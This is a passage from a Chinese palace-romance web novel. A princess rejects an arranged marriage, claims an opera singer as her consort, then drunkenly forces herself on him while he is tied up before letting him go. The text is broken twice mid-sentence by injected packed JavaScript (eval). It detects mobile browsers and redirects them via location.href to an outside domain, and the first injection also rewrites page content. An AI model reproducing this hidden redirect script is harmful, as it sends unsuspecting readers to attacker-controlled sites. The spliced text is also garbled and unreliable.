皇城司知道苻庆的身份,更明白她是皇帝心尖上的公主。此时见苻庆这样讲,再不敢有所造次,只是拱手向苻庆求饶。 “路我已经给你们指好了,今天是个好日子,你们别逼我给陛下找不痛快。” 侍卫们明白苻庆的意思,立刻拱手说道:“公主放心,属下这就带此人去柏梁台。” 见苻庆点头,侍卫们赶紧架着那人起身。程怜香刚被人按着跪下又被拖着站起来,此时衣服已经染了灰尘,头发也有些凌乱,唯有那个面纱还牢牢地固定在脸上。 苻庆忽然对这面纱后面的模样起了兴趣。 伸出手制止了侍卫们的动作,苻庆走到了那人的面前。眼前人不知道是不是被吓傻了,只是睁着眼睛无助地望着苻庆。 “宫规森严,你乱闯本就是错,青天白日的却还戴着面纱,更是错上加错。”苻庆伸出手,“今日本公主饶恕你,便当是为本公主积德行善了。” 程怜香听到差点害自己没命的这个人居然还好意思说自己是积德行善,简直气不打一处来,偏偏此时他还有求于对方,因此根本无法张口。本以为对方会这样放过自己,谁知下一瞬脸上的面纱忽然被她取下。 面纱摘下,苻庆不由得一愣。那男子面容极白皙,一双细长瑞凤眼之下,挺拔的鼻梁,薄而红润的嘴唇。面庞因为激动而发红,犹如胭脂所染。这实在是一张太好看的面容,娇俏妩媚得即便是苻庆一个女孩都禁不住感叹。“如此看还真是个美人坯子,怪不得要遮着脸。”苻庆感慨道:“死了还真怪可惜的。” 侍卫们没想到苻庆会做出此等动作,一时间都低下头去。 “好了,你们将他押到柏梁台问问情况吧。记着,若他真的没说谎就不要为难他。” 说完,苻庆抱着酒坛从他们身旁径直走过,走之前还不忘将白色面纱握在手中挥了挥。“小美人,这个我带走了,便当做是我积德行善的证据了!” 4. 宴席 到达柏梁台的时候,苻庆已经将刚才的插曲抛在了脑后,松醪将那坛酒藏在了轿子座位下,之后又用掸子细细擦拭过苻庆裙摆的泥土,终于放下心让苻庆进入殿内,而她自己先去到暖阁寻找薛贵妃。 此时已来了几位大臣,见苻庆走进来纷纷起身行礼。苻庆与他们都不相熟,因此只是点头还礼后便走到了自己的座位上。 没过一会,松醪从暖阁走了回来,苻庆看着对方的眼睛再三确认,才发现松醪确实没有找到薛贵妃。苻庆的心一下子揪了起来。 苻庆刚到宫中时,内心还沉浸在刚失去双亲的悲伤中,因此很没有安全感,薛贵妃几乎是日日夜夜陪伴在苻庆身边。有一回薛贵妃早晨到长秋宫请安,谁知一去到中午还没有回来。苻庆在宫中六神无主,便要跑出宫去寻,还是松醪等人跪在地上抱着苻庆的腿才拦住的。直到过了午膳薛贵妃才坐着轿子回来,原来先皇后不知怎的发了脾气,罚薛贵妃在长秋宫跪了三个时辰,自那之后薛贵妃便落下了风湿的毛病。 也是自那之后,苻庆一旦不知道薛贵妃去哪的时候,便很是紧张。 松醪自然明白苻庆心中所想,赶紧轻声说道:“公主莫慌,如今贵妃娘娘在宫中风头正盛,还有谁敢欺负?奴婢想着,贵妃娘娘左不过是去给陛下请安了。” 也对,苻庆在心中暗自安抚自己。如今先皇后已经薨逝,那样的事情是不会再发生了。而且姨母一向安分守己,不曾逾越雷池半步,皇上对姨母应当是很满意的,否则怎么会在前年突然封姨母的亲生儿子,自己的表弟七皇子为太子了呢。 “松醪,你去殿后看看。姨母若是给陛下请安,花露是不能进入殿内的。” 松醪知道苻庆到底还是放心不下薛贵妃,点头应下后,快步离开了。 此时的柏梁台后殿内,皇上正坐在罗汉榻上摩挲着自己的红玛瑙手钏,而薛贵妃跪在地上,头微微垂着,露出一截修长白皙的脖颈。 “爱妃究竟是怎么了?你也不是刚入宫了,怎么会不知道朕最讨厌的便是后宫干政呢?” 薛贵妃手指蜷缩着微微握拳,“陛下,臣妾知错,只是臣妾总想着庆儿还小,所以想要多留庆儿几年。” “小?十六岁在普通百姓家,孩子都有了。爱妃刚入宫的时候,不也只有十六岁吗?”皇上的声音听起来不疾不徐,“此次朕为庆儿赐婚,乃是经过多方考量千挑万选。庆儿是公主,更需要在这种时候顾全大局。” 薛贵妃明白皇上做出的决定轻易不会更改,可是为了苻庆,她还是想要搏一搏。 抬头看向皇上,薛贵妃一双美眸中已噙满了泪水,伸出一双手颤颤巍巍地扶在皇上的靴子上。“陛下,庆儿的父母是为国捐躯的,苻坚将军是大夏国的功臣,庆儿是苻家唯一的骨血,难道皇上连这点权利都不肯给庆儿吗?” 皇上居高临下俯视着求情的薛贵妃,面上的表情却变得越来越冷,只听得一声脆响,紧接着便是红玛瑙珠子在地上溅落的声音。 薛贵妃躲闪不及,被一颗红玛瑙珠子打到了额头,却不敢呼痛,只能立刻垂下头跪在地上。 在门外伺候的汪公公听到声音吓了一跳,连忙走进来查看情况,却只看得皇上慢条斯理地端起茶盏品茶,而薛贵妃身着一袭绛紫色衣裙跪在一地红玛瑙珠子之中,有种诡异的靡费感。汪公公明白过来,又悄声退了出去。 “爱妃好像是真糊涂了,若不是苻坚夫妇为国捐躯,朕念在他们护国有功否则怎可能愿意让你将庆儿养在宫中,甚至赐予她公主称号呢?”皇上放下茶盏,“再者说,苻坚将军忠君爱国,是为了朕战死沙场的。庆儿作为他的女儿,难道就不应该为了朕做点力所能及的事情了?” 薛贵妃明白此时自己已经激怒了皇上,也不再说话,只是低着头默默落泪。 皇上俯下身看着薛贵妃,目光停留在薛贵妃露出的雪白脖颈上,“爱妃,如今大夏每年需要给辽人几十万之数的岁币才能勉强换回与北方的和睦相处,你别忘了,即便是公主下嫁的先例本朝也不是没有过。” 听到这话的薛贵妃再次坐不住了,面露惊恐地看向皇上,“陛下,庆儿的父母是被辽人所杀,怎可让庆儿成为杀父仇人的妻子!” “所以朕大发慈悲!没有打算让庆儿前去和亲,这就已经很好了。爱妃,你明白了吗?” 此时薛贵妃听出皇上话中的威胁之意,长叹一口气后,福身说道:“陛下,臣妾自知今日失言,愿自请在宫中思过,不参加庆儿的生辰宴了。” “朕知道你是不想看到庆儿伤心的表情,但如果那样恐怕她又不知要怎样闹了。”皇上站起身,“几句胡话而已,朕不会放在心上。回去将《女则》抄上一百遍,这件事也就过去了。”说着话,皇上忽然蹲下身子,目光与薛贵妃的眼睛平齐,“爱妃,你身子本就不好,还是不要跪这么久了。到时候七皇子在东宫又要惦记着你的身体不用功学习了,你说朕究竟是罚他还是不罚他呢?” 说完,他并没有扶起薛贵妃,而是直接走出了后殿。 薛贵妃的双腿已经因为长时间的跪地而变得麻木,更何况她之前还落下过风湿的毛病,此时更是感觉膝盖有千根针在刺。但是,没有人走进来搀扶她,花露也碍于宫规只能在殿外等候,所以此刻薛贵妃只能自己搀扶着脚踏缓缓站起身。 支撑着走到殿外,汪公公恭敬地俯身行礼,并立刻招呼人进殿内打扫残局。薛贵妃明白刚才无人进去搀扶自己也是皇帝授意的,因此只是微笑着点头还礼。 花露就在殿门外等候,搀扶住薛贵妃的时候明显感觉到她脚下一沉。花露明白,薛贵妃在殿内又跪了不少时间。 “娘娘。” 薛贵妃只感觉到脚下一脚深一脚浅,却还是撑着向外走着不让人瞧出来。“无妨,快去柏梁台,想必庆儿早已经到了,别教她担心。” 二人刚下台阶便遇见了松醪,花露明白薛贵妃必然不想让苻庆知晓此事,因此扶着薛贵妃的手也略微松开了些。薛贵妃缓下步子,面露微笑走过来。 “可是庆儿让你来的?” 松醪点头,“公主到柏梁台没有见到娘娘,有些担心。” “傻孩子。”薛贵妃心头一暖,“本宫是去给陛下请安了,这就回去。” 松醪点头,一行三人很快回到了殿内。 “姨母!” 薛贵妃拉住苻庆的手坐下,不动声色地将疼痛的膝盖轻轻压在软垫上。“是不是吓坏了?都是姨母的错,姨母出来的时候应当让人告诉你姨母的去向才对。” 苻庆摇头,“只是庆儿愚笨,如果没有姨母,这种场合总是应付不来的。” “胡说,”薛贵妃笑着将苻庆额头的碎发别到耳后,“都十六岁了,难道姨母还能陪你一辈子吗?” 苻庆自然不知道薛贵妃此话背后的深意,只以为薛贵妃是不舍得自己要出宫居住,笑着安抚薛贵妃道:“姨母放心,我在宫外肯定乖乖的,有机会便回宫探望姨母。” 薛贵妃见苻庆笑得如此高兴,心中虽因为提前知道赐婚一事有些难过,但到底还是觉得苻庆能够短暂离开宫门便是好事。今日是苻庆生辰,自己更不能提前毁了苻庆的好心情。 想到这,薛贵妃拍拍苻庆的手,“你能有这份心已经足够了,我倒想着你不要记挂着我,好容易出宫了便痛痛快快地去瞧瞧宫外的世界。” 苻庆看着薛贵妃的眼睛,总觉得对方眉眼中流露出浓浓的愁意,但她却以为这是薛贵妃被困于深宫的难过。她之前便听母亲说过,姨母其实是过了年纪不必入宫选秀的,奈何当时京中人人皆知薛家二小姐美貌出众,就连宫中都特意准许破格来参加选秀,这才被留在了宫中。 虽说薛贵妃从未见过,但苻庆总觉得薛贵妃是不喜欢这深宫生活的,只不过姨母从小便懂事惯了,从不愿意表露自己的心意,也不愿意给任何人添一点麻烦。 “宫外的生活固然是好,但如果没有姨母,我便如同一朵浮萍,在这世上再也没有可依靠的人。”苻庆歪着头看着薛贵妃,“所以不管我走到哪,我的心永远在姨母这里。” 薛贵妃盯着苻庆的眼睛,半晌轻轻摸了摸苻庆的脑袋。 “有庆儿这句话,姨母不管为庆儿做什么都是心甘情愿的。” 正午时刻,宴席开始。 苻庆坐在位置上接受群臣朝贺,笑的脸蛋都有些酸胀。薛贵妃坐在苻庆身旁,同样面带微笑向群臣点头致意。 “姨母,您不要紧吧?” 薛贵妃有些意外,侧过头看向苻庆,“怎么了?” 苻庆微皱眉,“您都调整三次坐姿了,可是有些腿疼吗?” 薛贵妃没想到被苻庆眼尖发现此事,害怕被苻庆发觉刚才自己在晏呢殿中跪了太久的事情,连忙笑着摇头,“没有的事,只是脚腕有些刺疼。” “想必是风湿又犯了。”苻庆往前倾身,“姨母要先回去休息吗?” 薛贵妃看向坐在上首的皇帝,苻庆也跟着看过去。皇帝正在与大臣觥筹交错,一个眼神都没有给这边。薛贵妃一想到对方刚才在晏呢殿中对自己的威胁,只觉得心脏狠狠向下坠去。 “不必了。”薛贵妃勉强笑道:“不碍事。” 二人正说着话,乐曲的声音突然停下。众人向殿外看去,只见一个膀大腰圆的男人端着一个锦盒大摇大摆地走进来。 “微臣参见陛下。”那人单膝跪地,俯首说道。 皇帝放下酒杯,示意道:“赵王免礼。” 赵王站起身后,群臣福身请安,“拜见赵王。” 赵王摆手示意。 大家各自回到位置后,乐曲继续演奏。赵王端着锦盒来到薛贵妃面前。“拜见贵妃娘娘。” “赵王免礼。”薛贵妃微笑,“侄女的生辰宴罢了,赵王却还要亲自来参加,实在是太客气了。” “本王与苻大将军可算是八拜之交的弟兄,公主也算是本王的侄女,自然是要来的。”说完,呈上锦盒,“小小礼物,不成敬意,望贵妃娘娘替公主收下。” “自然……”薛贵妃刚要说话,却见赵王伸手打开了锦盒,里面赫然是一对闪着寒光的子午鸳鸯钺。 “赵王……”薛贵妃第一反应是将苻庆护在身后,苻庆同样也看见了锦盒中的东西,此时如同一只被冒犯的小兽,眼神忽然变得凌厉起来。 “娘娘莫怕。”赵王呈上锦盒,“这对鸳鸯钺还是本王年少时由符大将军亲手所赠。本王不才,只是曾带着这对宝贝多次上场杀敌,即便是苻大将军也曾败在我的鸳鸯钺之下,因此特想在今日公主生辰之际将该武器物归原主。” 薛贵妃已经感受到了赵王来者不善,此时用眼睛紧紧盯着赵王。苻庆几次想起身,都被薛贵妃挡下了。 薛贵妃面上已经没有了笑容,“赵王实在是客气,只是赵王恐怕忘了,苻庆是跟着本宫从宫中长大,是陛下最宠爱的公主。金枝玉叶之躯,不会武术,更用不着杀人。这对鸳鸯钺还是赵王自己留着防身吧。” “贵妃娘娘放心,本王家中还有的是。只是本王确实糊涂,竟然忘了公主不会武术,更耍不惯这些刀枪剑戟。” 一时间,本来热闹的宴席逐渐安静下来,推杯换盏的大臣们纷纷停下了动作,竖起耳朵听着这边的动静。 “只可惜苻大哥一身好武艺,竟无人传承。苻家响当当的砍马刀,如今也已失传。真是唏嘘啊。”赵王笑道:“不知苻大哥九泉之下会不会因此而不得安宁?” “大胆!”薛贵妃终于发火,“这是公主的寿宴,赵王怎么敢在公主的寿宴上如此污蔑公主的亡父!” “贵妃娘娘息怒,本王没有此意。”赵王单膝跪地,面上却并无半点忏悔之色,“娘娘莫要想多了。” “我爹是镇国威远虎贲大将军,这是陛下亲封的。如今赵王却在此处对陛下亲封的虎贲将军如此出言不逊,冒犯亡父本不是大事,但若是不将陛下放在眼中,欺君罔上可就是大罪了。”苻庆轻声开口。“姨夫,您说是不是这样?” 皇上本就一直注视着这场好戏,突然被点名,哈哈大笑道:“庆儿所说在理,赵王怕不是还没喝酒便醉了。女孩家家,送她兵器做什么,还不快收起来。” 赵王转而面向皇上,低头称是,将锦盒收起。 “快坐下吧,朕还等着同你喝酒呢。” 眼见着赵王到位置上坐下,薛贵妃紧绷的神经才稍稍休息,回身看向苻庆,她还是目光炯炯看着赵王的方向。 “庆儿,别怕。” 苻庆回过神,看着因为担忧自己而蹙眉的薛贵妃,“姨母,我不害怕。” 如果现在必须要找到一个词形容苻庆现在的心情,那也绝不是害怕,而是愤怒。 赵王与苻庆的父亲苻坚将军长久以来都分属不同阵营。二人虽都是武将,当年也都一同在边关镇守。但是苻坚将军是坚定不移地主战派,支持大夏国发展军事,用实力打得辽人心服口服;但赵王却一直是主和派,主张与辽人以谈判的方式换取和平。因此,苻坚将军与赵王一直不对付。 这些年苻庆都住在宫中,她并未习武的事情也早已经天下皆知。世人皆叹息苻坚将军没有生下个儿子继承家门,导致现在大夏国竟落入无人可用的境地。苻庆最听不得这种话,因此平日里从没有人敢在苻庆面前提起她不会习武的事情,更不会当着苻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446094|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庆的面表示惋惜。赵王选在今日送这份礼说这些话,明显是故意的。 老东西,我们从长计议。苻庆在心中想道。 宴会进行过半,忽然乐曲变得清脆急促,一个花旦扮相的人用袖子遮住脸,从殿外碎步走了进来。 “朕知道庆儿喜欢新鲜事物,这是朕特意从宫外找来的戏班子,只要庆儿欢喜,便是天上的星星朕也能摘下来。” 说完,乐曲继续,美人缓缓露出面容,苻庆的眉头逐渐拧到了一起。 即便他此时已经上了浓重的戏妆,苻庆仍然能够认出来,是她在御花园抓住的那个美人,美人的面纱如今还在她怀中揣着。 “海岛~冰~轮~初转腾……”美人纤纤玉指,折扇半掩,有种犹抱琵琶半遮面的美丽。 在唱到贵妃醉酒时,美人叼起酒杯缓缓仰身,将杯中酒喝下。赵王忽然大喝一声:“好!” 群臣掌声雷动。 苻庆一面惊叹于美人的脸蛋,一面因为赵王突然的打岔而厌烦,端起酒杯一饮而尽。 “台上人喝酒,怎么公主坐在台下也喝酒了呢?可是也想上台表演一曲了?” 苻庆翻了个白眼,今天赵王这厮是喝假酒了吧?怎么逮着自己不放呢? “赵王是不是喝多了?想让公主唱曲,诸位也配吗?”一个声音响起,台下坐着的武将们有些曾受过苻坚将军的恩惠,不由得开始替苻庆说话,纷纷附和起来。 赵王不说话了,苻庆心里舒服了,坐在上首的皇上眉头微微皱起来了。 一曲结束,美人跪伏在舞台上。皇上率先鼓掌,群臣纷纷鼓掌称赞。 “在下程怜香,重新登台不久,望诸位贵人海涵。” “一个男的竟能生的这般好看,真是妙人。”赵王开口说道。 “在下虽是男子,却是唱旦角的。”程怜香解释道,“贵人看错并不奇怪。” “那你可要小心些,别出门时被人当小娘子抢去了。”说完,赵王哈哈大笑,半数大臣也附和着笑起来。 “赵王。”薛贵妃咳嗽一声,“当着公主的面,别胡说八道。” 苻庆看向台上的程怜香,对方孤零零跪在地上,瘦削的肩背撑着华美的戏服,此时却有些落寞的感觉。 “赵王别是喝黄汤喝醉了,当着我姨母,也敢说这种话。” 赵王忽然沉下脸,“陛下,本王也算是公主的长辈,今日公主数次对本王出言不逊,这也能称得上是公主的教养吗?” 苻庆毫不示弱,“赵王你……” “苻庆。” 苻庆的话被皇上制止,意识到皇上已经生气了,苻庆没办法,只好闭上嘴垂头坐着。 皇帝轻声斥责道:“赵王说得对,他总归是你的长辈,你如此不尊重他,实在不是公主所为。” 苻庆俯下身,“儿臣知错。” “如今你也十六岁了,不是小孩子年纪了,更要时刻记得自己的身份,谨言慎行,遵循三纲五常,不得逾矩。” 苻庆跪在地上,她本以为皇帝马上就要结束自己的训话。谁知下一刻,皇帝话锋一转。 “朕选在今日举办宴席,不只是为了与诸位爱卿一同庆祝公主生辰,更是要将一件事昭告天下。” 皇上端起酒杯,“公主苻庆赐婚与杜太傅之子杜至善结为夫妻,成婚时加封为璇玉长公主,婚礼可按照长公主之礼准备。” “恭贺陛下!”群臣下拜。 薛贵妃此时已经明白皇帝赐婚背后的另一层含义。杜太傅原先做过参政,如今在东宫负责教导太子,长久以来都是皇帝的心腹。杜家的门楣极高,杜至善三年前便中了榜样,是京城内人尽皆知的大才子。如此人家尚公主本身并无不妥,但偏偏杜太傅是个彻头彻尾的主和派。 如今苻坚将军身死,夏辽早已议和,看来皇帝是想要借苻庆的婚事改变朝野中两派相争的局面,好让朝堂重新凝聚起来。 薛贵妃明白这桩婚事只有苻庆可以完成,皇帝应当也是深思熟虑许久,恐怕是没有了转圜的余地。好在杜家也算是书香名门,杜太傅又负责教导太子,日后也不怕杜家会薄待了苻庆。想到这,薛贵妃的心慢慢放了下去,却没料到一回头,竟看到苻庆直起了身。 “庆儿。”薛贵妃急忙提醒道。 苻庆却已经几乎站了起来,高声说道:“陛下,杜太傅在家父生前曾数次上表斥责家父北伐一事,家父去世后也未到苻家拜祭,儿臣感念父母生养之恩,绝不敢嫁与仇人的儿子为妻!” 皇上却像是早想到苻庆会这样讲,“胡说!庆儿,你如今是大夏国的公主,便要为大夏考虑。杜太傅如今身居东宫教育太子,杜至善中进士后在国子监担任博士。此时你嫁到杜家,才正能体现出朕的爱才之心,才能让天下才子都更愿意为朝廷效力。” “爱才之心?”苻庆不敢置信地重复道。难道就为了一个爱才之心,就要让她嫁给仇人的儿子吗?她爹娘是为了大夏牺牲的,难道苻家满门忠烈性命竟换不得自己不嫁去仇人府上的自由吗?既然如此,那自己爹娘的牺牲究竟还有什么意义?苻家军战死疆场和马革裹尸换回的,难道只是让自己如今坐在此处,任他们奚落和利用的结局吗? “庆儿可是不愿意吗?若是舍不得朕与薛贵妃,日后时常进宫便是了。”皇上看着苻庆,面上带着慈祥的笑容,眼睛中却闪着寒光。 苻庆已经明白自己的命运无法改变,但她绝不可能简单地吞下这口气。他们既然由她是女子一事来嘲讽她,那她苻庆今日就要做一件自古以来没有女子敢做的事情。 “陛下盛情,儿臣不敢推辞。只是今日是儿臣生辰,儿臣斗胆向陛下讨要一件生辰礼物。”苻庆也笑起来,笑容中带着天真,四颗虎牙露在外面,带着一种野兽般的天性。“儿臣并不想要天上的星星,只要陛下能答应儿臣一件事情。” 皇上大笑,“但说无妨,朕答应你就是。” “儿臣向陛下讨要台上这个美人,要他到公主府做儿臣的面首。” 一时间,周围像死一般寂静。 半晌,还是薛贵妃先反应过来,转过身不可置信地看着苻庆。 “朕答应你。”出乎意料,皇上爽快地应下,“来人,去跟戏班子班主说,这个人朕替公主买下来了,不要让他难做,把钱算好了给他。” 汪公公领旨,走向舞台中央。程怜香仍然跪在地上,只感觉一阵天旋地转,差点晕倒在地。 “程伶人,还不领旨谢恩呐。” 程怜香此时才意识到自己的命运已经在这几个人几句话之间改写,最后抬头看向苻庆一眼,几乎是咬牙切齿地说道:“在下领旨谢恩。” 5. 入府 “公主,程伶人已经到府上了。” 忙得晕头转向的苻庆愣了半晌才想起来这位程伶人究竟是谁,“我都差点忘了这事了。” 松醪料到如此,继续问道:“总要找个院子安置下程伶人。” 苻庆点头,“今天下午看过的那处院中有棵玉兰树的院子我最喜欢,程伶人既然是本公主的人,便不宜离本公主太远,就让他住在本公主旁边吧。” 松醪想了想,“揽晴轩就在翠华庭隔壁,修建得幽静雅致。程伶人眼光极高,想必会喜欢的。” 苻庆挥手示意,松醪便离开处理此事去了,屋子里只剩下苻庆一个人。看着正房大门正对着的影壁,翠华庭的桃树高大,枝干高过院墙,树影投在了影壁上。 “爹,娘,七年了,我终于逃出那里了。” 晏呢殿内,薛贵妃正穿着常服,坐在桌前抄写《女则》。 花露走上前换了一支蜡烛,见薛贵妃神色如常,小声说道:“贵妃娘娘,程伶人已经送到公主府上了。” 薛贵妃轻轻应下,只等到这一章最后一个字写完,才放下笔。 “都疯了。” 花露拿起写好的纸张放到一旁晾干,拿起温水浸湿的手帕为薛贵妃擦手。“贵妃娘娘,您别生气了,公主不过是闹着玩的。” “公主闹着玩便罢了,陛下居然还陪着公主胡闹,真是没有一点规矩了。”薛贵妃闭上眼,花露放好帕子,轻轻为薛贵妃按压太阳穴。 “总归还是有好处的,如今公主已经出宫,娘娘这些年时刻提心吊胆,终于也能松快了些不是?” “花露,难道你觉得公主出宫便已经安全了吗?”薛贵妃睁开眼睛,眼里闪过一丝冷意,“陛下非要赶在今日给庆儿赐婚,甚至还提起本朝和亲的公主先例,难道也是为了庆儿好吗?” 花露不语。从今日情形来看,表面上苻庆在朝中的地位又一次提高,朝臣再次确定苻庆是当今皇上最宠爱的公主。可另一面来说,再宠爱的公主又能怎样,最后还是要作为政治联姻的牺牲品,出宫的自由仍要用婚姻的坟墓去换。 “临走前你嘱咐松醪了吗?” “娘娘放心,奴婢千叮咛万嘱咐,让松醪一定保护好公主。” 薛贵妃点头,“总归是出宫了,拘束她性子这么多年了,也该给她个机会好好撒欢才是,这几日不管公主府传出什么消息,咱们都只管压下便是了。”说罢,重新闭上眼睛。 此时揽晴轩中,程怜香正被四仰八叉地呈一个“大”字绑在床柱上,由于嘴巴也被堵住,只能发出呜咽声。他当然知道这并没有什么用处,如今已经进了公主府邸,即便他叫破喉咙也不可能有人来救他,但他还是不停地喊着,最后送他来侍卫们无奈,只好将他的嘴先堵上了。 漏夜,房门突然被推开了,几个踉跄的脚步声传进来。 “公主,公主小心!” 程怜香抬起头,看到松醪搀扶着苻庆走进来。还没等苻庆走近,程怜香便闻到一股浓烈的酒味。再看苻庆,此时已经面容红晕、脚步虚浮,一看便知道是喝醉了。 “这是什么意思啊?”苻庆的头脑已经有些不清晰,此刻看着床上的程怜香,只感觉自己的脑子跟不上事情发展的速度。 现在的程怜香已经脱去了戏装,只着一身普通的交领直裰,只是这衣服颜色偏偏是大红色,衬得他肤白胜雪,像是要成亲的新嫁娘。如今毫无形象地半躺在床榻上,双手双脚都被红绳捆缚住,嘴巴被堵、喘着粗气,又像是被山大王抢来的压寨夫人。 “程伶人刚才有些怨气,侍卫们也是怕他出言伤害公主。” 苻庆笑起来,挣开松醪搀扶的手,手脚并用爬到了床榻上。 松醪眼观鼻鼻观心,轻手轻脚退了出去。 苻庆爬到程怜香身旁跪坐着,程怜香有些紧张,只见苻庆面色红晕、眼神迷离,眯着眼睛冲他一笑,伸手把他嘴里的手帕拽下,扔到一旁。 嘴巴获得自由的程怜香立刻叫道:“你这个歹毒小人,现在又想做什么!” 苻庆用食指比在程怜香唇边,轻声说道:“嘘——”接着,顺势用手背抚过程怜香的脸蛋,“如今你是本公主的人了,你说本公主要做什么?” “你!大胆!”现在的姿势对于程怜香来说实在过于羞耻,他一直用力挣扎,试图把两条腿并上,结果还是徒劳无功,“你别以为我没听见,皇上已经给你赐婚了,如今你的丈夫还未与你成婚,你怎可如此不守妇道?” 看着程怜香如今毫无还手之力却还要骂自己的模样,不知为何苻庆便总是想笑,因此被骂了也不生气,反而饶有兴趣地用手指在程怜香上身摸了起来,“这就吃醋了?说起来你入府不同样也是陛下同意的吗?你与我那素未谋面的丈夫比起来,还占个时间上的优势呢。” “你别碰我!”程怜香感觉自己几乎是尖叫起来。被苻庆触碰过的地方感觉太奇怪了,他甚至有些怀疑苻庆是不是手指头带火星子,要不然怎么随着她手指划过的痕迹,自己身上也发烫起来。 “哟,脸怎么红了?”苻庆诧异地问道。刚才在宫里的时候她曾经瞄过一眼汪公公拿回来的程怜香身契,知道这个小美人比自己还大一岁,直接就默认了程怜香早经历过男女之事的前提。现在看到程怜香竟因为自己的触碰脸红了,感到一阵错愕。“美人,你不会还是个雏儿吧?” “你放开我!”程怜香被苻庆的话惹得面红耳赤,连脖子都红了个彻底。由于手脚被缚,只能通过怒吼给自己增加气势。但这样的气势在苻庆看来,只觉得他像只坠入陷阱之后虚张声势的小鹿,由于没有一点攻击力,因此连这点反抗都变得有些可爱。 苻庆用一只手撑起脑袋,继续问道:“我问你呢,你是不是个雏儿?” 程怜香不说话,只是别过眼睛看向一旁。此时的程怜香其实很煎熬,不可置疑他身体里的火焰早已经燃烧起来了,只逼得想要脱掉衣物、和眼前人抱在一起才好缓解,但这又是程怜香绝对不可能做的。因此他不得不在应付苻庆之余努力克制自己的本能,通过转移注意力等方式压抑自己的欲望。 苻庆却不知道程怜香此时正在天人交战,只当是他故意不理自己。苻庆本就是个执着的性格,现在喝了酒更是不管不顾。先是上手去掰程怜香的脑袋,奈何程怜香脖子很硬,死活不看自己。二人斗争两个回合后,苻庆皱起眉头,只想着自己今晚一定要程怜香开这个口。见程怜香此时半躺着,苻庆一不做二不休,干脆翻身跨坐在程怜香身上,伸手用力掰正了程怜香的脖子,好让程怜香看着自己。 可怜的程怜香已经被苻庆的动作吓傻了,他完全没想到苻庆真的敢霸王硬上弓自己。更要命的是,由于苻庆孟浪的动作,程怜香已经感觉到自己的身体正在逐渐发生变化。此时半是气愤半是羞愧,手脚挣扎的力气也更大了。“你,你要干什么!你快下去!” 苻庆不在意程怜香的挣扎,甚至由于醉酒连脑子都不怎么清醒,只是捧着程怜香的脸问道:“我问你,你是不是雏儿!” 程怜香眼见自己已经快到崩溃的边缘,最终不得不暂时讨饶,“我是!我是!你先从我腿上下去!这样会出事的!” 苻庆终于听到了自己想要的答案,虽有些意料之外,但看到程怜香这般惊慌的样子又让苻庆感到快乐。听了程怜香的话,苻庆非但不离开,反而俯下身趴在程怜香胸口上,瞪着一双大眼睛看着对方。 程怜香只觉得自己的脑子都逐渐变得混沌,嘴上却还是不停,“你走,快走开……” 苻庆在边关长到十岁,锦西城民风彪悍,女子十二三岁成亲的大有人在,因此对于男女之事虽未经历,却并不无知。见程怜香此刻模样,知道他也是被自己勾起了念头,却还是努力隐忍。苻庆还想逗他,故意问道:“为什么我要走开?这样我觉得很舒服啊,今晚我打算就这样睡了。”说完,甚至伸出手搂住了程怜香的脖子。 “你个无耻小人!不要脸的强盗!快放开我!”程怜香最后一丝理智也要被烧尽,见前面说的统统无用,最后只能无望地咒骂起来。“滚,你快滚开!” 苻庆根本没想到程怜香的反抗会如此激烈,同时由于刚才两人激烈的“搏斗”,酒气散了大半,头脑都清醒些了。苻庆本就不是沉迷男色不能自拔的人,更不喜欢吃强扭的瓜,现下见程怜香这样的反应,兴致已经下去大半,虽没有立刻离开,但也如程怜香所愿从他身上滚到了一旁。 程怜香一愣,他本以为自己今日大概是躲不过了,心中都有了最坏的想法。谁知还没行动,反而是苻庆先放弃了。 苻庆见程怜香呆住,不觉一笑。“别叫了,留点力气吧。”说完,伸手解开了捆住程怜香的红绳。“这些人也真是的,怎么半点风情都不懂,把人都捆住了还怎么活动?总一个姿势还有什么意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我……”程怜香欲言又止,看着苻庆现在的表情,不知为何程怜香忽然敢百分百确定,只要自己再敢重复一遍,苻庆就会抬手再扇自己一次。 “我说句实话,之前你怎么说我我都可以不在意,毕竟你也算是抢回来的人,这点特权我还是要给你的,但是你不该提到我爹。” 程怜香也知道自己话说重了,如今挨了巴掌也算是活该,再想到今日苻庆生辰宴上,赵王对苻庆说出的那些话,忽然觉得自己真是太过无礼。但到底不肯低头,只是捂着脸不再说话。 苻庆慢条斯理地继续说道:“程怜香,你以为今日你不被我抢走就会有什么好下场吗?你信不信从柏梁台出来你便会被人掳走,再睁开眼便是赵王府了。” 程怜香不是没想过这种可能,早在宴席上赵王对自己问话时,他便有这样隐约的担心。京城戏班子大多居于一隅,唱旦角的小男孩被达官贵人抢去欺辱的例子比比皆是,他也并不是没听说过。 “还是说我看错了人,程大老板本身就不好女色好男香。” 程怜香扭过头,这还是他第一次被称为程老板,却没想到是在这样一个尴尬的时刻。 “不说话难道是承认了?” “别胡说。”程怜香哑着嗓子开口,“我只想唱戏。” “唱吧,我又没拦着你。我这公主府这么大,日后你便是一日换一个院子唱戏都能换半月有余呢。只是一点,刚才你不是说我从小不知道自由是什么感觉吗?说得好,我还真不知道自由是什么滋味,但是不自由的滋味我却知道得很清楚。从今往后,也该让你尝尝我尝过的滋味了。” 程怜香不敢置信地看向苻庆,“即便是面首,也没有限制出入的道理。” 苻庆面无表情,“这是本公主的公主府,本公主说的话便是此处的道理。”说完,苻庆撑着床沿重新站起身。 